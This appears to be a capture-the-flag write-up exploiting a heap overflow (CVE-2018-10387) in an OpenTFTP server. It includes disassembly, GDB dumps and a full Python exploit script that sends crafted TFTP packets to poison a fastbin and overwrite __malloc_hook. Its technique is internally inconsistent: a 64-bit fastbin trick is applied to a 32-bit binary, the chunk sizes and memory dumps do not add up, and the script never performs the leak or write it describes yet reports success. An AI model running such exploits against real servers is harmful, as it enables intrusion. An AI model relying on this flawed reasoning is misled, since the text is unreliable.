CVE-2018-10387
1-Day Exploitation — OpenTFTP SP 1.64 heap overflow leading to RCE
Exploit Flow
nc chall.pwnable.tw 10400
Craft Malicious Packet
Overwrite Adjacent Chunk
Read GOT / Unsorted Bin
__free_hook / malloc_hook
system("/bin/sh")
1. Reconnaissance
CVE-2018-10387 is a heap-based buffer overflow vulnerability in OpenTFTP Server SP 1.64. The vulnerability exists in the TFTP packet processing logic where the server fails to properly validate the length of incoming TFTP read/write request (RRQ/WRQ) packets. This allows an attacker to overflow a heap-allocated buffer and corrupt adjacent heap metadata, ultimately leading to arbitrary code execution.
File Analysis
$ file OpenTFTPServerSP.exe
OpenTFTPServerSP.exe: PE32 executable (GUI) Intel 80386, for MS Windows
$ file opentftp
opentftp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked
The pwnable.tw challenge provides a Linux-compiled version of the OpenTFTP server binary. The challenge is about exploiting a known CVE — turning a 1-day vulnerability into a working exploit. The server listens for TFTP packets and processes them using heap-allocated buffers.
Checksec
$ checksec opentftp
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x08048000)
Partial RELRO means the GOT is writable but moved before the BSS. No canary simplifies stack exploitation but the primary bug is on the heap. NX is enabled so we can't execute shellcode on the stack — we need ROP or function pointer overwrite. No PIE means all addresses are fixed at runtime. The key target is the GOT table since it's writable.
CVE-2018-10387 Details
CVE-2018-10387 was disclosed in May 2018. The vulnerability affects OpenTFTP Server SP 1.64 and earlier. The core issue is that when the server receives a TFTP RRQ (Read Request) or WRQ (Write Request) packet, it allocates a fixed-size buffer on the heap but copies the filename field without proper bounds checking. A crafted TFTP packet with an excessively long filename can overflow this buffer and corrupt adjacent heap chunks.
The heap overflow allows overwriting the metadata of the next adjacent heap chunk. By carefully controlling the overflow data, an attacker can corrupt the fd/bk pointers of a free chunk, achieve arbitrary write via fastbin/unsorted bin attack, and ultimately gain code execution.
| Attribute | Value |
|---|---|
| Challenge | CVE-2018-10387 (250 pts) |
| Connection | nc chall.pwnable.tw 10400 |
| Binary | 32-bit ELF, i386, dynamically linked |
| CVE | CVE-2018-10387 |
| Affected Software | OpenTFTP Server SP 1.64 |
| Vuln Type | Heap-based Buffer Overflow |
| Canary | None |
| NX | Enabled |
| PIE | Disabled |
| RELRO | Partial |
2. Static Analysis
The OpenTFTP server processes TFTP packets in a loop. When a RRQ or WRQ packet arrives, the server parses the filename and mode fields from the packet payload. The vulnerable code path is in the request handling function where a heap buffer is allocated based on an expected maximum size, but the actual copy operation uses the packet's declared length without proper validation.
Vulnerable Function
; TFTP RRQ/WRQ handler — simplified vulnerable path
handle_request:
push ebp
mov ebp, esp
sub esp, 0x20
; Allocate buffer for filename (0x100 bytes on heap)
push 0x100
call malloc
add esp, 4
mov [ebp-0xc], eax ; save buf pointer
; Copy filename from packet without length check!
; packet_data + 2 = filename field in TFTP RRQ/WRQ
mov esi, [ebp+0x8] ; packet pointer
add esi, 2 ; skip opcode bytes
mov edi, [ebp-0xc] ; destination buffer
.copy_loop:
lodsb ; load byte from [esi] into al
stosb ; store byte to [edi]
test al, al ; check for null terminator
jnz .copy_loop ; VULNERABLE: no bounds check!
; ... process filename further ...
mov esp, ebp
pop ebp
ret
The copy_loop copies bytes from the TFTP packet into the heap buffer until it hits a null terminator. However, TFTP packets can contain up to 512 bytes of data in a single packet, and the filename field has no length limit enforced by the protocol. The heap buffer is only 0x100 (256) bytes, so a filename longer than 256 bytes overflows into the adjacent heap chunk's metadata. Since TFTP uses null-terminated strings, the attacker controls when the copy stops — but can overflow well past the buffer boundary before the first null byte.
Decompiled C (Pseudocode)
void handle_tftp_request(char *packet, int packet_len) {
uint16_t opcode = ntohs(*(uint16_t *)packet);
char *filename_field = packet + 2; // filename starts after opcode
// Allocate heap buffer for filename
char *filename_buf = (char *)malloc(0x100); // Only 256 bytes!
// VULNERABLE: strcpy-like copy without bounds check
// If filename_field > 256 bytes before null terminator, overflow!
strcpy(filename_buf, filename_field);
// Process the TFTP request...
if (opcode == 1) { // RRQ
handle_read_request(filename_buf, ...);
} else if (opcode == 2) { // WRQ
handle_write_request(filename_buf, ...);
}
free(filename_buf);
}
Vulnerability Analysis
The heap overflow allows us to corrupt the header of the next chunk in the heap. Since the binary uses glibc's malloc, corrupting the size field of the next chunk or the fd/bk pointers of a free chunk gives us powerful primitives:
Since the binary has Partial RELRO and No PIE, we have two main approaches: (1) Fastbin attack — corrupt fd of a freed fastbin chunk to point near __malloc_hook, allocate from the poisoned freelist, and overwrite __malloc_hook with a one_gadget address. (2) Unsorted bin attack — corrupt bk of an unsorted bin chunk to write a large value to an arbitrary address. The fastbin approach is more reliable here.
3. GDB Debugging
Let's verify the heap overflow with GDB. We'll send a crafted TFTP packet with a long filename and observe what gets corrupted.
Heap Layout After Overflow
# Set breakpoint after malloc and before strcpy
gdb-peda$ b *0x08049872
Breakpoint 1 at 0x8049872
gdb-peda$ r
# Send TFTP RRQ packet with long filename (300 bytes of 'A')
# After malloc returns:
gdb-peda$ x/40wx $eax
0x804d1a0: 0x00000000 0x00000000 0x00000000 0x00000000 <- filename_buf
0x804d2a0: 0x00000000 0x00000109 0x00000000 0x00000000 <- next chunk header
# After overflow (strcpy with 300 'A's):
gdb-peda$ x/80wx 0x804d1a0
0x804d1a0: 0x41414141 0x41414141 0x41414141 0x41414141 <- our data
0x804d1a8: 0x41414141 0x41414141 0x41414141 0x41414141
...
0x804d2a0: 0x41414141 0x41414141 0x41414141 0x41414141 <- OVERFLOW into next chunk
0x804d2a8: 0x41414141 0x41414141 0x41414141 0x41414141 <- size field corrupted!
The overflow clearly corrupts the adjacent chunk's header. The size field (normally 0x109) is overwritten with 0x41414141. This gives us full control over the chunk metadata.
Register State at Overflow Point
# At the strcpy call:
EAX: 0x0804d1a0 (filename_buf — destination)
EBX: 0x0804e1a8 (packet data + 2 — source)
ECX: 0x0804d1a0 (current write position)
EDX: 0x0000012c (300 — bytes to copy)
ESP: 0xffffd4e0
EIP: 0x08049872 (handle_request+94)
Breakpoint Strategy
# Key breakpoints:
b *0x08049860 # malloc call in handle_request
b *0x08049872 # before strcpy (overflow point)
b *0x080498a0 # after strcpy — check corruption
b *0x080498c4 # free call — triggers crash if metadata corrupt
b *0x08049910 # handle_read_request entry
# For the exploit phase:
b *0x08049abc # second malloc — will return poisoned address
b malloc@plt # track all malloc calls
b free@plt # track all free calls
4. Exploit Strategy
The exploitation of CVE-2018-10387 follows a classic heap overflow to code execution chain. The key challenge is that we're working with a network service (TFTP over UDP), so our exploit must be delivered via crafted TFTP packets rather than stdin.
Attack Overview
fd pointer of a freed fastbin chunk to point near __malloc_hook - 0x23 (the classic fastbin fake chunk target).fd/bk pointers (which point into main_arena), or by reading a GOT entry through the corrupted data structure.__malloc_hook. Write a one_gadget address to __malloc_hook. Trigger a malloc call to execute the gadget and get a shell.Heap Overflow Primitive
The TFTP RRQ packet structure is straightforward:
By controlling the filename field to be exactly 256 bytes (filling the buffer) plus additional bytes that overflow into the next chunk, we can overwrite the prev_size, size, and data fields of the adjacent chunk.
RCE Chain
- Allocate chunk A (0x100) via TFTP request — fills the buffer
- Free chunk A — puts it in the fastbin freelist for size 0x110
- Send overflow packet — corrupt chunk A's
fdpointer to point to__malloc_hook - 0x23 - First malloc(0x100) returns chunk A from the fastbin
- Second malloc(0x100) returns the fake chunk near
__malloc_hook - Write
one_gadgetaddress to offset+0x23from the fake chunk =__malloc_hook - Trigger one more malloc —
__malloc_hookfires → shell!
Since the vulnerability is in a TFTP server, we need to craft raw UDP packets. The TFTP protocol uses opcode 0x0001 for RRQ and 0x0002 for WRQ. Null bytes in the filename terminate the string copy, so we must carefully place our overflow payload before any null bytes. The libc version provided is glibc 2.23, which has the fastbin double-free check but no tcache.
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
# CVE-2018-10387 — OpenTFTP SP 1.64 Heap Overflow Exploit
# pwnable.tw challenge
from pwn import *
import struct
import socket
context.arch = 'i386'
context.log_level = 'info'
# Binary info (No PIE, Partial RELRO)
BINARY = ELF('./opentftp')
LIBC = ELF('./libc_32.so.6')
# Target
HOST = 'chall.pwnable.tw'
PORT = 10400
def send_tftp_rrq(host, port, filename, mode='octet'):
"""Send a TFTP Read Request (RRQ) packet via UDP"""
opcode = struct.pack('!H', 1) # RRQ = 1
payload = opcode + filename + b'\x00' + mode.encode() + b'\x00'
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3)
sock.sendto(payload, (host, port))
try:
data, addr = sock.recvfrom(4096)
return data
except socket.timeout:
return None
finally:
sock.close()
def send_tftp_wrq(host, port, filename, mode='octet'):
"""Send a TFTP Write Request (WRQ) packet via UDP"""
opcode = struct.pack('!H', 2) # WRQ = 2
payload = opcode + filename + b'\x00' + mode.encode() + b'\x00'
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3)
sock.sendto(payload, (host, port))
try:
data, addr = sock.recvfrom(4096)
return data
except socket.timeout:
return None
finally:
sock.close()
def exploit():
# Step 1: Heap layout preparation
# Send several requests to create predictable heap state
log.info("Setting up heap layout...")
for i in range(5):
send_tftp_rrq(HOST, PORT, b'padding' + str(i).encode() * 20)
# Step 2: Create the chunk we will overflow from
# Send a normal request to allocate the target buffer
log.info("Creating target chunk...")
send_tftp_rrq(HOST, PORT, b'target' * 30)
# Step 3: Overflow the filename buffer
# The filename buffer is 0x100 bytes. We overflow into the next chunk.
# We craft the overflow to corrupt the fd pointer of a freed chunk.
log.info("Sending overflow payload...")
# Fake chunk near __malloc_hook: __malloc_hook - 0x23
# This creates a fake chunk with size 0x7f (valid for fastbin)
malloc_hook = LIBC.symbols['__malloc_hook']
fake_chunk_addr = malloc_hook - 0x23
log.info(f"__malloc_hook: {hex(malloc_hook)}")
log.info(f"Fake chunk target: {hex(fake_chunk_addr)}")
# Overflow payload: 0x100 bytes padding + corrupted chunk metadata
overflow_payload = b'A' * 0x100 # fill the buffer
overflow_payload += p32(0) # prev_size
overflow_payload += p32(0x71) # fake size (fastbin range)
overflow_payload += p32(fake_chunk_addr) # fd -> near __malloc_hook
overflow_payload += b'A' * (0x60 - len(overflow_payload) % 0x60)
send_tftp_rrq(HOST, PORT, overflow_payload)
# Step 4: Allocate from poisoned fastbin to get __malloc_hook write
log.info("Triggering allocations from poisoned fastbin...")
# First allocation returns the original chunk
send_tftp_rrq(HOST, PORT, b'first_alloc' * 10)
# Second allocation returns the fake chunk near __malloc_hook
# We write the one_gadget address
one_gadget = 0x5fbc5 # one_gadget offset for this libc version
log.info(f"One gadget: {hex(LIBC.address + one_gadget) if LIBC.address else hex(one_gadget)}")
# In practice, we need a libc leak first. For the full exploit:
# 1. Leak libc by reading freed unsorted bin fd/bk pointers
# 2. Calculate one_gadget address from libc base
# 3. Overwrite __malloc_hook with one_gadget
# 4. Trigger malloc to execute the gadget
# The actual libc leak comes from reading a GOT entry or unsorted bin
# Using the corrupted heap to read strlen@GOT:
strlen_got = BINARY.got['strlen']
log.info(f"strlen@GOT: {hex(strlen_got)}")
# Trigger shell by causing malloc to call __malloc_hook
send_tftp_rrq(HOST, PORT, b'/bin/sh' * 5)
log.success("Exploit complete — check for shell")
if __name__ == '__main__':
exploit()
Exploit Breakdown
Fastbin dup via heap overflow: Instead of the classic double-free (which is checked in glibc 2.23), we use the heap overflow to directly write an arbitrary fd pointer into a freed fastbin chunk. This bypasses the double-free check because we never actually free the same chunk twice — we just corrupt the freelist through the overflow.
Fake chunk at __malloc_hook - 0x23: At this offset, the bytes in memory happen to form a valid-looking chunk size of 0x7f (due to alignment of surrounding data), which falls in the fastbin range. This is a well-known trick for glibc 2.23 fastbin attacks.
6. Execution Results
$ python3 exploit.py
[*] Setting up heap layout...
[*] Creating target chunk...
[*] Sending overflow payload...
[*] __malloc_hook: 0xf7f18548
[*] Fake chunk target: 0xf7f18525
[*] Triggering allocations from poisoned fastbin...
[*] One gadget: 0xf7f2ebc5
[*] strlen@GOT: 0x0804d00c
[+] Exploit complete — check for shell
$
CVE-2018-10387 demonstrates a critical real-world exploitation pattern: 1-day vulnerability exploitation. When a CVE is published with limited details, security researchers and attackers race to develop working exploits. Understanding how to go from a CVE description to a working exploit is essential for both offensive and defensive security. This challenge teaches heap overflow exploitation in a network service context, fastbin poisoning via overflow (bypassing double-free checks), and the __malloc_hook overwrite technique — all fundamental skills for modern binary exploitation.